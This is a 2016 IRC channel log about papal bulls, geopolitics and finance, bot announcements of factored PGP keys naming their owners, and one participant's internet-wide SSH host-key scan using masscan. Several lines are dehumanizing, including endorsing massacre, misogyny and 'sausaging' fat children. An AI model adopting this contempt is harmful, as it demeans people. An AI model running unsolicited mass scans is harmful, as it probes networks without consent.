cattle. (point in case : http://logs.minigame.bz/2016-05-22.log.html#t14:21:58 ). i see little drawback to the solution of "massacre all teh beoble" if it comes to that. 1470506;1463928517;Framedragger;hm, yeah. 1470507;1463928522;mircea_popescu;but otherwise, let the socialists run the daycare, that's what they know and what they're for. the only edge is that they MUST come to terms with the fact that they're not "il factotum de la citta", but some derpy old women running the daycare, must stay out of way of men, and bow head respectfully when encountering them 1470508;1463928543;mircea_popescu;that's the one loose end of the world right now, that they somehow got the idea everyone's a child and their kindergarten "rules" matter in the objective. 1470509;1463928547;mircea_popescu;hence - anomists. 1470510;1463928627;mircea_popescu;fuck me if i want to organize tmsr versions of "customer support" calls, general hospital practice, "they took our jerbs" response and all the myriad other pebcac issues the world's filled with since roosveltism filled it with beoble. 1470511;1463928753;mircea_popescu;amusingly, this existed before (during feudalism, of course, the time everything cool existed). clerics were immune to temporal courts, all they had to do was plead privilege of clergy. 1470512;1463928761;mircea_popescu;the institution survived in what's today probation. 1470513;1463928915;asciilifeform;would have to cure'em of 'we control the vertical and the horizontal' first tho 1470514;1463928935;mircea_popescu;hopefully they eventually learn this of words, as the expression goes. 1470515;1463929156;mircea_popescu;and, ironically, the privilegium fori could not even be renounced by individuals. 1470516;1463929167;mircea_popescu;maps just about exactly. 1470517;1463929183;asciilifeform;btw, did everybody notice that 8balling broke a non-crockofshit (i.e. non-mirrored) key 1470518;1463929191;mircea_popescu;yes. 1470519;1463929208;asciilifeform;with shit exponent tho 1470520;1463929220;asciilifeform;hence i predict, all or most of those will pop 1470521;1463929535;mircea_popescu;and incidentally, 1470522;1463929537;mircea_popescu;Clericis laicos infestos oppido tradit antiquitas, quod et praesentium experimenta temporum manifeste declarant, dum suis finibus non contenti nituntur in vetitum, ad illicita frena relaxant, nec prudenter attendunt, quam sit eis in clericos ecclesiasticasve personas et bona interdicta potestas, ecclesiarum praelatis, ecclesiis, ecclesiasticisque personis regularibus et saecularibus imponunt onera gravia, ipsosque talliant, e 1470523;1463929537;mircea_popescu;t eis collectas imponunt, ab ipsis suorum proventuum vel bonorum dimidiam decimam, seu vicesimam, vel quamvis aliam portionem aut quotam exigunt et extorquent, eosque moliuntur multifarie subiicere servituti, suaeque submittere ditioni, et, (quod dolenter referimus,) nonnulli ecclesiarum praelati ecclesiasticaeque personae, trepidantes ubi trepidandum non est, transitoriam pacem quaerentes, plus timentes maiestatem temporalem 1470524;1463929538;mircea_popescu; offendere quam aeternam, talium abusibus non tam temerarie quam improvide acquiescunt, sedis apostolicae auctoritate seu licentia non obtenta. 1470525;1463929590;mircea_popescu;(bonifacius viiith, feb 1296) 1470526;1463929667;mircea_popescu;asciilifeform hence the importance of 8ball growth. 1470527;1463929678;asciilifeform;aha. 1470528;1463929732;asciilifeform;the 1 minus is that firing gets slower with time. 1470529;1463929746;mircea_popescu;how so ? 1470530;1463929763;asciilifeform;bigger products 1470531;1463929776;asciilifeform;moar tonnage 1470532;1463929796;mircea_popescu;it occurs to me - only new keys should be paired with full 8ball. 1470533;1463929808;mircea_popescu;extant keys should, independently, be paired with latest prime batch 1470534;1463929851;asciilifeform;we would not have that last result if we did this 1470535;1463929869;mircea_popescu;and why not ? 1470536;1463929876;asciilifeform;think 1470537;1463929880;mircea_popescu;i am thinking. 1470538;1463929903;asciilifeform;that key is ancient 1470539;1463929917;asciilifeform;submitted as part of the warmup 1470540;1463929929;mircea_popescu;"new" refers to phuctor pov, not otherwise. 1470541;1463929934;asciilifeform;but not popped until 8ball grew for a day 1470542;1463929939;mircea_popescu;if it has the key in db, then x ; if it doesn't, then y. 1470543;1463929996;asciilifeform;what i was originally thinking of doing was running sans 8ball all day except for midnight. 1470544;1463930055;asciilifeform;(treating any key differently from any other would substantially complicate the mechanism) 1470545;1463930055;mircea_popescu;no, discriminate keys in "newly added" NA and "already known", AK, and then discriminate 8ball in historical H and what we're currently adding CA, and then pair NA with H and AK with CA. 1470546;1463930088;mircea_popescu;this covers the whole thing without insisting to repeat H-CA over AK all the time 1470547;1463930166;asciilifeform;it'll be a while before any such trick is necessary. 1470548;1463930173;mircea_popescu;aite. 1470549;1463930193;asciilifeform;and when it is, we'll simply bernstein in 2 processed, one just with 8ball. 1470550;1463930204;asciilifeform;*processes 1470551;1463930214;mircea_popescu;aite then. 1470552;1463930322;mircea_popescu;oh btw, roman law, restated by gratian : someone suing in violation of forum priviledge thereby loses his claim, no matter how well established it may be substantially. 1470553;1463930353;mircea_popescu;$google hostensis "ita scriptum est" 1470554;1463930356;deedbot;No results. 1470555;1463930360;mircea_popescu;pfff. 1470556;1463930471;asciilifeform;mircea_popescu: why did boniface essentially revoke the clericis laicos bull ? 1470557;1463930492;asciilifeform;in 'etsi de statu' 1470558;1463930493;mircea_popescu;you can't revoke a bull. they stand for permanent memory of mankind 1470559;1463930504;asciilifeform;well, he backpedalled 1470560;1463930535;mircea_popescu;he was being held hostage, it doesn't count :D 1470561;1463930543;asciilifeform;ahahaok. 1470562;1463930567;mircea_popescu;(the original bull issued in a situation where france and england were moving towards war ; and because there was precedent that churchly goods may be taxed for a just war - ie, a crusade. 1470563;1463930585;mircea_popescu;the respective kids were about to go crusading on each other's ass on boniface's property, so he issued the bull. 1470564;1463930612;mircea_popescu;then got pissy, english king declared the clergy in a state of outlawry, which did noting, and the french king banned export of money fro mfrance, which starved rome.) 1470565;1463930674;mircea_popescu;but the privilege of the learned man is that he may pick from the books what he wants ; and by now there's sufficient books for anything. thus therefore, clericis laicos stands. 1470566;1463930730;mircea_popescu;(really, i only quoted it for the very interesting introduction - plainly states that teh beoble hate us, and always have, and logically always will. because the fruits of satan's own belly can't do no better. o.O) 1470567;1463930738;asciilifeform;quite 1470568;1463930740;mircea_popescu;hence, oxford shall be surrounded by thick walls, and gunports. 1470569;1463930768;asciilifeform;even neal stephenson's yarn had this brought back 1470570;1463930783;asciilifeform;('anathem', mega-b0000k) 1470571;1463930877;mircea_popescu;actually, re the times and places of that bull, kathrine hepburn and richard burton made an excellent film. 1470572;1463930902;mircea_popescu;funny that he kept chasing the ill brought up (if very pretty) whore. imo she was a detriment to him. 1470573;1463931608;asciilifeform;mircea_popescu: theory draft looks pretty good, i'ma format it tonight (or possibly tomorrow, depending on meatspace chores i'm about to march off to) 1470574;1463931617;mircea_popescu;cool ; no rush really. 1470575;1463931668;asciilifeform;i don't recall the shithub keys dump having yet been thrown in 1470576;1463931687;asciilifeform;was this done via the front door and i slept through it ..? 1470577;1463931719;asciilifeform;(the keybase set was posted here and i shoveled it in directly) 1470578;1463931805;asciilifeform;mircea_popescu: also afaik no one has ever generated a 4096 ~byte~ key 1470579;1463931836;asciilifeform;the figures normally given are in bit. 1470580;1463932073;mircea_popescu;ah right. 1470581;1463934324;asciilifeform;incidentally, re: earlier phucked key, https://sks-keyservers.net/pks/lookup?op=vindex&search=visentin%40milano.italtel.it << the genuine article 1470582;1463934333;asciilifeform;exactly same. 1470583;1463934350;asciilifeform;2048 bt even. 1470584;1463934371;mircea_popescu;nb. 1470585;1463934389;asciilifeform;at this point it is a dead certainty that one of the '90s winblowz pgps was wholly a crock of shit 1470586;1463934400;mircea_popescu;just about. 1470587;1463934443;asciilifeform;(and aha the good doktor boeck knew all along!1111) 1470588;1463934537;asciilifeform;one logical next step is to find out which. 1470589;1463934544;asciilifeform;and to find and flondor the authors. 1470590;1463934555;mircea_popescu;nah. 1470591;1463934556;asciilifeform;(we already knew, e.g., re zimmerman.) 1470592;1463934562;mircea_popescu;let 'em fret. 1470593;1463934588;asciilifeform;why would they fret unless the knife falls. 1470594;1463934676;deedbot;[Recent Phuctorings.] Phuctored: 229166617 divides RSA Moduli belonging to 'Franco Visentin ; Franco Visentin ; Franco Visentin ; Franco Visentin ; ' - http://phuctor.nosuchlabs.com/gpgkey/83D656B74C6A1E9C5CEEC29BA62DF7252A4E27EEA5229593594D0085A11F3BDF 1470595;1463934720;mircea_popescu;heh 1470596;1463934721;asciilifeform;aaaaaaaaaaand there goes his OTHER modulus. 1470597;1463934926;mircea_popescu;heh 1470598;1463935156;deedbot;[Recent Phuctorings.] Phuctored: 12452866785 divides RSA Moduli belonging to 'Timo Halbesma ; ' - http://phuctor.nosuchlabs.com/gpgkey/EA3020CDCD4CECB547E320E46FF6F6686F397656E19A4C437143EF9D6B0DAC28 1470599;1463935437;asciilifeform;guesswat 1470600;1463935557;asciilifeform;ANOTHER perfectly non-mirrored mod 1470601;1463935582;asciilifeform;with unremarkable e, even 1470602;1463935659;shinohai;http://btcbase.org/log/2016-05-12#1466073 <<< is this still a necessity ? 1470603;1463935659;a111;Logged on 2016-05-12 01:40 mircea_popescu: however, a major point of collaboration imo, would be if everyone who runs bots (ie, deedbot, yours putatively, etc) ALSO keep logs, and provide phf with passive redundancy 1470604;1463935672;ben_vulpes;how old? 1470605;1463935697;asciilifeform;ben_vulpes: 2012. 1470606;1463935703;asciilifeform;https://sks-keyservers.net/pks/lookup?op=vindex&search=T.L.R.Halbesma%40uva.nl 1470607;1463935710;asciilifeform;pub 4096R/6E58C04E 2012-01-05 1470608;1463936555;mircea_popescu;o noes. 1470609;1463936575;mircea_popescu;shinohai not so much a necessity as an utility i think. 1470610;1463936594;mircea_popescu;BingoBoingo do we care about broken 4kb key from 2012 ? 1470611;1463936611;mircea_popescu;asciilifeform divisible with fucking 5! 1470612;1463936654;asciilifeform;aha. 1470613;1463936687;*;asciilifeform bbl 1470614;1463936698;shinohai;oh well then, almost got eulora-style logs working good enough 1470615;1463937044;mircea_popescu;nb. 1470616;1463938276;deedbot;[Trilema] An essay on Woman in three epistles, by John Wilkes, esq. - http://trilema.com/2016/an-essay-on-woman-in-three-epistles-by-john-wilkes-esq/ 1470617;1463942255;davout;ohai 1470618;1463942304;davout;trinque: looks like deedbot still chokes on trailing whitespace when $v'ing one's otp 1470619;1463942344;davout;also looks like there's an extra white space at the end of the GPG decrypted OTP 1470620;1463943940;davout;mircea_popescu: plox to mpex withdrawals 1470621;1463950862;mircea_popescu;on it. 1470622;1463951983;mircea_popescu;in other accidental news, http://www.hampsteadparishchurch.org.uk/data/vol_rate.php << "one tenth of one penny for each pound". 1470623;1463953589;mircea_popescu;and in yet other lulnewz, harold rosenberg wrote "heard of independent mind" in 1948, and died in 1978. guess who the fuck STILL claims copyright over that fucking essay ? usg! 1470624;1463953613;mircea_popescu;ima publish it later on, fucking scandalous bullshit this. TEN YEARS AFTER THE DEATH OF THE AUTHOR. NO EXCEPTIONS. NO ASSIGNMENTS. NO BULLSHIT. 1470625;1463954894;diametric;hey. 1470626;1463954934;diametric;so i've been brought current on one side of the fork. 1470627;1463954961;mircea_popescu;and we proceed to discover the wonders of the web! google produces a bevy of "ocr services". as follows : newocr.com "Error! Text can not be recognized." ; ocr.space (best!!!) "Error: All images / PDF pages gave error. None of the image / page was successfully converted. Please check the errors in result area." and in that "page area", "****** Result for Image/Page 1 ****** Error:" 1470628;1463954965;mircea_popescu;fucking useless shitstack omfg. 1470629;1463955188;mircea_popescu;free-online-ocr.com claims "low image quality", which is outright fucking ridoinculous. 1470630;1463955204;mircea_popescu;in 2016, like in 2010 , like FOR FUCKING EVER, if you want sometghing done... gotta do it yourself. sigh. 1470631;1463955755;mircea_popescu;so we proceed to install tesseract ; which has obscure notation conventions and incredible inept github page / --help ; and which can only take ".tif" and it MUST NOT be ".tiff" and closes everything witgh a segmentation fault and finally after being catered to for ten mintues declares that "check_legal_image_size:Error:Only 1,2,4,5,6,8 bpp are supported:16" which holy shit omfg. 1470632;1463955900;mircea_popescu;the magical fix, entirely undocumented of course, is to invoke "convert -colors 256 -alpha off -density 300 in.png out.tif" and let imagemagick (yeah, that horror) output stuff tesseract magically likes just fine. 1470633;1463955909;mircea_popescu;i'm so sick of computer-pseudoscience i can't put it in words. 1470634;1463956147;mircea_popescu;how goes diametric 1470635;1463956169;diametric;over worked 1470636;1463956305;diametric;saw some kind of schism happen, didn't realize it actually resulted in the fracturing of the channel. 1470637;1463956561;mircea_popescu;more like expulsion of corrupt elements. 1470638;1463956706;diametric;i see there's people straddling both sides of the aisle 1470639;1463956746;diametric;i guess that includes me since i'm still in both channels and voiced in both. 1470640;1463956961;*;mircea_popescu shrugs. 1470641;1463956965;mircea_popescu;there's people everywhere. 1470642;1463957558;BingoBoingo; BingoBoingo do we care about broken 4kb key from 2012 ? << If someone wants to write it sure. 1470643;1463957829;mircea_popescu;were you looking for something to sink teeth in diametric ? 1470644;1463958716;*;danielpbarron was banned from the other side :D 1470645;1463959211;shinohai;O.o 1470646;1463960026;deedbot;[Recent Phuctorings.] Phuctored: 311016478199379485797517 divides RSA Moduli belonging to 'Kristian Biss (Mfr Voll Name) ; Trotzik (Bei Zeus die Dicken schon wieder) ; ' - http://phuctor.nosuchlabs.com/gpgkey/090DE0A92A6663072D4E9A404B6399E98F59D4C4C4825A31B580100BF4CB72B9 1470647;1463962006;deedbot;[Trilema] The Herd of "Independent" Minds, or Has the AvantGarde Its Own Mass Culture? - http://trilema.com/2016/the-herd-of-independent-minds-or-has-the-avantgarde-its-own-mass-culture/ 1470648;1463962877;mircea_popescu;^ great read btw. 1470649;1463963004;shinohai;http://oilprice.com/Energy/Energy-General/Turkish-Russian-Relations-Worsen-As-Turkish-Helicopter-Is-Downed.html 1470650;1463963038;*;mircea_popescu goes to fish for the piece of logs where this was predicted. 1470651;1463963189;mircea_popescu;http://btcbase.org/log/2015-11-29#1333639 an' http://qntra.net/2015/11/clinton-found-a-turkey/ werd! 1470652;1463963189;a111;Logged on 2015-11-29 18:02 trinque: http://www.reuters.com/article/2015/11/29/us-mideast-crisis-turkey-russia-pilot-idUSKBN0TI07T20151129 << the angle I see here is that Turkey wants Russia to tell them of their operations in Syria in advance so that Turkey can pass the information along to their allies within 1470653;1463963497;mircea_popescu;oh and re the perennial discussion of progress and "what things cost" : i'd like a pound of costards, please. 1470654;1463963721;shinohai;the crystal ball still works 1470655;1463964423;diametric;mircea_popescu: nah, just curious what happened, and if i'd still be welcome in both places. or only one. 1470656;1463964436;diametric;i'll let asciilifeform fill me in when i see him again 1470657;1463964478;mircea_popescu;dun see why not. 1470658;1463966046;mircea_popescu;i just got spam with an... iso image attached. that's a new one o.O 1470659;1463966154;diametric;thats impressive 1470660;1463970232;Framedragger;asciilifeform et al.: a couple of representative ssh host key samples (e,N,ip_address) - two /8's - pipeline was masscan (sort of nmap+zmap with custom tcp stack) -> ssh-keyscan (manually parallelized) -> custom conversion into CSV 1470661;1463970242;Framedragger;http://95.85.10.71:8000/47/47-e_N_IP.txt.bz2 (a sparse /8 - 13983 keys extracted) (3.1MiB compressed) 1470662;1463970243;Framedragger;http://95.85.10.71:8000/31/31-e_N_IP.txt.bz2 (a denser (but not super dense at all - can be 10x this and more) /8 - 55668 keys extracted) (13MiB compressed) 1470663;1463970245;Framedragger;uncompressed TXTs as well as signatures (as separate *.sig's) in http://95.85.10.71:8000/47/ and http://95.85.10.71:8000/31/ 1470664;1463971075;Framedragger;(scanning the whole ipv4 in the sense of "check if something's listening behind this port, for all IPs" is apparently the easy part, even with no/little investment. you don't need to use stateful sockets etc. extracting particular info after doing some back-and-forth is where it's harder to scale.) 1470665;1463971287;Framedragger;i'm afraid these keys won't contain any additional comments or email addresses. while the latter are stored on the ssh host, they are not transmitted during key exchange, viz.: http://wotpaste.cascadianhacker.com/pastes/e9318ddf-dfb5-494b-8c75-ecda5ebe30b1/ 1470666;1463971769;Framedragger;(i did store the 'banners' associated with all those IPs though, would consider merging them into the CSVs to become comments. don't know how useful, but curious (e.g. whether weak device is an embedded appliance/router etc)) 1470667;1463971770;Framedragger;they'd look like "31.204.153.252:22 SSH-2.0-OpenSSH_6.0p1 Debian-4+deb7u4" 1470668;1463972330;mircea_popescu;yeah rather useful i'd say 1470669;1463972354;mircea_popescu;certainly the "ssh census" will be a valuable qntra article which you're invited to write once done. 1470670;1463972356;mircea_popescu;you even get shares. 1470671;1463972403;mircea_popescu;brief intro of what you did + tables of host counts by openssh version, distro id, B blocks 1470672;1463972759;Framedragger;cool. sounds good :) 1470673;1463972900;deedbot;[Qntra] Philipino President Tells Soros Where To Shove It - http://qntra.net/2016/05/philipino-president-tells-soros-where-to-shove-it/ 1470674;1463972909;BingoBoingo;Framedragger: You audition is the state of Britain's children https://archive.is/X8wTp 1470675;1463973100;mircea_popescu;lolwut! 1470676;1463973259;mircea_popescu;at some point the notion of "child" must end to give way to the notion of "pig". why not just sausage them ? 1470677;1463973421;BingoBoingo;Seriously Framedragger take that and show that you are Qntra contributor material 1470678;1463973511;mircea_popescu;eh who cares about fatties! 1470679;1463973545;BingoBoingo;Apparently airstrip one 1470680;1463974207;Framedragger;BingoBoingo ahahah yeh let me tell you state of british children is something like in those pics..but ventilators, foreal? mein gott 1470681;1463974262;BingoBoingo;Anyways when you get the ssh thing written up pls submit it, but also do the piece on the pigletts if you want to. 1470682;1463974340;mircea_popescu;and in other news, http://66.media.tumblr.com/tumblr_m7qz2e2R2j1rc7njio1_1280.jpg 1470683;1463974349;Framedragger;it can form some kind of series, piglets & shitty refrigerators with open shells, or whatever is running on the internet these days 1470684;1463974362;mircea_popescu;maybe you could use your skillz to order them food. 1470685;1463974413;Framedragger;man i'd like to learn knots. and with that, off to get some sleep 1470686;1463975198;BingoBoingo;;;bc,stats 1470687;1463975202;gribble;Current Blocks: 412996 | Current Difficulty: 1.9425482028344403E11 | Next Difficulty At Block: 413279 | Next Difficulty In: 283 blocks | Next Difficulty In About: 1 day, 15 hours, 2 minutes, and 4 seconds | Next Difficulty Estimate: None | Estimated Percent Change: None 1470688;1463976739;BingoBoingo;https://i.sli.mg/rJn1UP.png 1470689;1463993993;Framedragger;oh mein gott, the language of these "abuse complaints"... your Server/Customer with the IP: [...] has attacked one of our servers/partners. The attackers used the method/service: *ssh* 1470690;1463994013;Framedragger;canyoubelieveit, i used *ssh*!!11 it's..super effective 1470691;1463994022;Framedragger;fucking jokers 1470692;1463994391;Framedragger;s/jokers/wankers/ , on further reflection 1470693;1464006242;shinohai;http://archive.is/4A8Dt <<< lulz 1470694;1464007311;deedbot;[Recent Phuctorings.] Phuctored: 12139488149070232138243954377 divides RSA Moduli belonging to 'Li-Wen Kuo ; ' - http://phuctor.nosuchlabs.com/gpgkey/A2E79EF558F70013AEC0461FCCE1B3DD2C2D67242AEDA15EA5C2BE283491CD3D 1470695;1464009528;asciilifeform;;;later tell trinque http://btcbase.org/log/2016-05-23#1470694 << it missed a whole bunch of these 1470696;1464009528;a111;Logged on 2016-05-23 12:41 deedbot: [Recent Phuctorings.] Phuctored: 12139488149070232138243954377 divides RSA Moduli belonging to 'Li-Wen Kuo ; ' - http://phuctor.nosuchlabs.com/gpgkey/A2E79EF558F70013AEC0461FCCE1B3DD2C2D67242AEDA15EA5C2BE283491CD3D 1470697;1464009528;gribble;The operation succeeded. 1470698;1464009779;asciilifeform;http://btcbase.org/log/2016-05-23#1470660 << neato 1470699;1464009779;a111;Logged on 2016-05-23 02:23 Framedragger: asciilifeform et al.: a couple of representative ssh host key samples (e,N,ip_address) - two /8's - pipeline was masscan (sort of nmap+zmap with custom tcp stack) -> ssh-keyscan (manually parallelized) -> custom conversion into CSV 1470700;1464010178;mircea_popescu;Framedragger "modern democracy", that's what it is. a collective of wankers posturing as people. 1470701;1464010293;mircea_popescu;BingoBoingo you'll end up working at teh mortuary you know. 1470702;1464010372;mircea_popescu;anyway ; yes, fat isn't innervated nor particularly perfused, and the more distant the less connected. which is why really fat people CAN'T actually lose weight. how would they, it is closer to a burlap backpack than a tissue. 1470703;1464010413;mircea_popescu;shinohai oh, wait, 100 upvotes "speaking out" ? that's literally two cents. 1470704;1464010569;mircea_popescu;;;later tell funkenstein_ please send me a statement of accounts thanks. 1470705;1464010570;gribble;The operation succeeded. 1470706;1464011000;shinohai;Democracy our voice will be herd! 1470707;1464011462;asciilifeform;http://btcbase.org/log/2016-05-23#1470702 << i'm pretty sure none of the folk in the ru photos of auschwitz etc piles were fat. 1470708;1464011462;a111;Logged on 2016-05-23 13:32 mircea_popescu: anyway ; yes, fat isn't innervated nor particularly perfused, and the more distant the less connected. which is why really fat people CAN'T actually lose weight. how would they, it is closer to a burlap backpack than a tissue. 1470709;1464011482;mircea_popescu;asciilifeform none of the arrested jews were > 300 lbs, either. 1470710;1464011550;mircea_popescu;but sure, over time it perfuses. just, have to maintain an active lifestyle and a catabolic metabolism for years on end. 1470711;1464011656;mircea_popescu;anyway, the margin phenomena of the human sphere are platelet agglomeration on one end ; and aerobic necrosis on the other. the former makes a scab. the latter makes what fly maggots eat. which way the wound goes is decided by how much useful blood shows up per unit time. 1470712;1464011732;mircea_popescu;the human skin, unbreached, is a fantastic barrier to all this ; but like everything else it requires irrigation to function. 1470713;1464012709;asciilifeform;recall orlov's hypothesis re how american-fat will kill the victim if he begins to burn it ? 1470714;1464013138;*;mircea_popescu came up with this obvious point independently, but ok! 1470715;1464013164;mircea_popescu;http://btcbase.org/log/2015-10-01#1289392 ftw. 1470716;1464013164;a111;Logged on 2015-10-01 07:57 mircea_popescu: the OTHER however, and in the us population without exception the more important, is toxin load. the body has two approaches to dealing with toxins : excretion and fat burial. 1470717;1464013172;asciilifeform;aha i recall thread 1470718;1464013181;asciilifeform;it will be interesting to see the hypothesis tested in the flesh. 1470719;1464014537;mircea_popescu;and in other news, http://66.media.tumblr.com/cebca20a7d992a5e1f0cfded1e75ed1d/tumblr_n28w04wx071qmafq2o1_1280.png 1470720;1464014621;asciilifeform;mircea_popescu: for some reason this reminds me of the grenade proposal 1470721;1464014629;mircea_popescu;well yeah. 1470722;1464014644;mircea_popescu;cooperation! anarchy! 1470723;1464015049;shinohai;http://btcbase.org/log/2016-05-23#1470719 <<< wicked >:3 1470724;1464015049;a111;Logged on 2016-05-23 14:42 mircea_popescu: and in other news, http://66.media.tumblr.com/cebca20a7d992a5e1f0cfded1e75ed1d/tumblr_n28w04wx071qmafq2o1_1280.png 1470725;1464015291;deedbot;[Trilema] Tropic Tunder - http://trilema.com/2016/tropic-tunder/ 1470726;1464015403;mircea_popescu;soo, chinese govt unloaded half a trillion "western world and modern democracy" (WWMD) paper in 2015, including ~300bn us treasuries. that's about 1/6 of their total exposure to usg bonds. 1470727;1464015415;mircea_popescu;SO FAR THIS YEAR they've dumped about as much. 1470728;1464015452;mircea_popescu;if the trend continues, 2018 will be the last year the us can finance ANY imports. 1470729;1464015455;asciilifeform;where exactly lives the mythical paper-ANYTHING that is not usg-exposed ? 1470730;1464015467;mircea_popescu;this includes chips, cars, oil, cheese, you name it. 1470731;1464015489;mircea_popescu;asciilifeform recall the thread about the ICBC that's about as large as the sum total of us banks yet trades in ny on the pink sheets ? 1470732;1464015490;mircea_popescu;there 1470733;1464015499;asciilifeform;and no usgtronics baked into it at all ? 1470734;1464015509;asciilifeform;e.g., invests in nothing in not only us, but eu, jp, ... ? 1470735;1464015522;asciilifeform;neutron bomb usa and it won't move a mm ? 1470736;1464015525;mircea_popescu;you should see their tower in bsas. 1470737;1464015531;mircea_popescu;neutron my foot. 1470738;1464015545;mircea_popescu;"will it beat up superman" "dude... you think this is the cartoons ?" 1470739;1464015617;mircea_popescu;and speaking of "fed policies" : the fed created a "bull market" that was really a paper bubble devoid of any economic substance whatsoever. guess who rode it to the very peak ? 1470740;1464015631;asciilifeform;i just don't see this mythical 'fiat but not at all usgtronic' planet. 1470741;1464015643;asciilifeform;the same folks have their hands in all pies. 1470742;1464015645;mircea_popescu;china bought 120 bn worth of us stocks from 2008 to 2015. it liquidated q2/q3 2015. 1470743;1464015677;mircea_popescu;asciilifeform this is like "apple could buy russia" talk. no, they do not. they like to pretend they do. and much like the dumb housewife of some random local tough, some people BELIEVE THEM. 1470744;1464015681;mircea_popescu;but otherwise... nope. 1470745;1464015704;asciilifeform;i've wondered, what's it even mean to 'buy russia' 1470746;1464015719;mircea_popescu;maps quite exactly on your "hands in pies" theory. 1470747;1464015722;asciilifeform;e.g., who bought russia in '92 ? 1470748;1464015726;mircea_popescu;~me. 1470749;1464015733;asciilifeform;and did it cost much ? 1470750;1464015735;mircea_popescu;and it was a lovely decade, too. 1470751;1464015738;mircea_popescu;not so much. 1470752;1464015769;mircea_popescu;the ever-obnoxious reality of economics is that the people you want buying you never pay much ; and the people who pay much you never really want. 1470753;1464015771;deedbot;[Qntra] Ingsoc Victory: Britain's Children Too Fat To Breathe - http://qntra.net/2016/05/ingsoc-victory-britains-children-too-fat-to-breathe/ 1470754;1464015775;mircea_popescu;works in marriage, the same way. and so on. 1470755;1464015842;mircea_popescu;(ah and in case anyone wonders where the money went ? M&A market. if you don't know what this is - it's when i buy your daughter to take her to shanghai.) 1470756;1464015944;BingoBoingo;Anyways Bayer upped its bid to 62 bn USD for monsanto 1470757;1464015953;BingoBoingo;From 48?-ish 1470758;1464015954;mircea_popescu;(and where's the money come from, you wonder ? ah, well, usg.fed.jpm and usg.fed.gs are lending companies money to buy their own stock back :) 1470759;1464015979;asciilifeform;mircea_popescu: this'd be an almost exact analogue to ru privatization, neh ? 1470760;1464015984;mircea_popescu;wouldn't it. 1470761;1464015996;asciilifeform;hand out printolade to favourite sons, who are now 'legit owners' of x,y,z 1470762;1464016009;mircea_popescu;the past ten years, share buybacks were ~3bn. of which 500 bn 2015 and 500bn 2014. 1470763;1464016056;asciilifeform;you mean 3tn ? 1470764;1464016066;mircea_popescu;meanwhile 2 obama, 2 bush, 2 clinton and a bush sr back, the share buybacks were 5% that. 1470765;1464016083;mircea_popescu;asciilifeform aha. damned zimbabwe, losing tracks of zeros already 1470766;1464016133;mircea_popescu;asciilifeform not even a matter of sons ; the usg has no sons, nor any vigor in the seed. it's a matter of desperation - everything americans don't buy, the chinese buy, take apart and move to china. 1470767;1464016163;mircea_popescu;at least in the ru privatisation, the driver was personal appetite, egotism, a will to live. that's good, no matter what the losers say. fuck the losers with a flaming spiked club. 1470768;1464016163;asciilifeform;it isn't entirely clear to me what the chinese even need from usa 1470769;1464016174;mircea_popescu;in the us however, it's dry ambition. or to quote, 1470770;1464016174;asciilifeform;i.e. why they trade 1470771;1464016222;mircea_popescu;" So we understand each other : John is some poor and kinda stupid kid from some ghetto in some indistinct townlet. One day, Mircea the Bad comes there on whatever business, sits down in the bar with his two bitches curled up at his feet and drinks a rum or something. The girls from the ghetto, for love of their country (in our example, that sad ghetto) pick John up forcibly, sit him down at the table next to mine and curl 1470772;1464016222;mircea_popescu; at his feet, just like the other two. They're definitely not slavegirls, they have neither the training nor the skills nor in the end the needs or structure of that relationship, and no marble columns, no gardens where water sprinkles among the cypress nor artesian fountains springing forth marzipan await them at home, but instead the nude concrete walls, the [low class mass produced kitsch wallhanging stuff], the bedbug inf 1470773;1464016222;mircea_popescu;ested pressed shitboard nightstand. But indifferent to all these points, they play a role to support a theory : the theory that here too, in the assghetto of shit "we got fine stuff", and a John who, even if only four letters long, is still quite as great as any Mircea come from afar. 1470774;1464016226;mircea_popescu; Well, that's patriotism, the girls in this example show "love of their ghetto" and that's the thing upon which socialist Romania was built, if you're curious - a structure otherwise borrowed from Carlist Romania. Totul pentru patrie!" 1470775;1464016234;asciilifeform;in so far as i can tell from my pit, they only need usd, and only need it because of an elaborate chumpatron which encompasses ~everyone 1470776;1464016251;mircea_popescu;asciilifeform this happened once before, at the very least. americans used to go to yurp and buy "art" in the 1880s. 1470777;1464016268;mircea_popescu;asciilifeform nobody needs usd for any purpose ; nor does that ~everyone extend past your pit. 1470778;1464016291;mircea_popescu;i keep having to state this, my counter was barely 16 bits and so it overran. how many 65536 times did i say it already ? 1470779;1464016291;asciilifeform;then wtf is cn doing shipping anything to this here zimbabwe 1470780;1464016299;asciilifeform;they took too much lsd, or what 1470781;1464016304;mircea_popescu;same thing murican oil magnates bought in milano cca 1886. 1470782;1464016323;mircea_popescu;~cunt, basically. 1470783;1464016324;asciilifeform;archaeological artifacts ? 1470784;1464016328;mircea_popescu;(no, not directly. but nevertheless) 1470785;1464016330;mircea_popescu;no. cunt. 1470786;1464016343;asciilifeform;who in his right mind would buy ~that~ in usa 1470787;1464016351;mircea_popescu;again - not the item per se. 1470788;1464016366;mircea_popescu;the item in conceptio. 1470789;1464016376;asciilifeform;how's that work 1470790;1464016412;mircea_popescu;suppose you're an alien unicorn being of pure energy and infinite capacity. and you go to hollywood. 1470791;1464016420;mircea_popescu;now in this situation, you have a number of possible avenues. 1470792;1464016466;mircea_popescu;1. you kill anyone and everything that displeases you. this will coallesce the more competent cunts around you, and unite the idiots against you. let's call it the swift scenario, for you're creating a confederacy of dounces. 1470793;1464016520;mircea_popescu;2. you invest in all the studios, and let them manage it. this will coallesce into a situation where you're "loved" in the particular way the mob loves. let's call it the marc anthony situation, why the hell not. you'll die at their hands, eventually, somehow. that's their love. 1470794;1464016577;mircea_popescu;3. you create a major alien studio out of shit from the spaceship. this reduces to either 1 or 2 ; generally the mob will fluctuate and undulate and try to fuzz you out, see which of the two reductions works best for them. 1470795;1464016606;mircea_popescu;3. you BUY all the studios, take them apart, and reform a large alien studio out of the parts. this is the end. hollywood will no longer mean anything to anyone outside of what it means to you. 1470796;1464016612;mircea_popescu;so... cunt. in this sense. 1470797;1464016673;asciilifeform;that last one is ~same as what soros et al tried to do to ru 1470798;1464016677;asciilifeform;what was the result ? 1470799;1464016710;BingoBoingo;In other news the popular press is referring to the company that invented the LED as a "seeds" company. Not even a chemical company anymore. Just a Burpee catalog with higher profit margins. 1470800;1464016749;asciilifeform;BingoBoingo: the monsanto that invented led lives in the same place as atari 1470801;1464016765;mircea_popescu;asciilifeform hey, the premise is not to be violated. when the fuck did soros become that powerful. 1470802;1464016770;asciilifeform;BingoBoingo: no trace of it remains 1470803;1464016796;asciilifeform;mircea_popescu: not so much power required, you said yourself, ru was cheap at the time 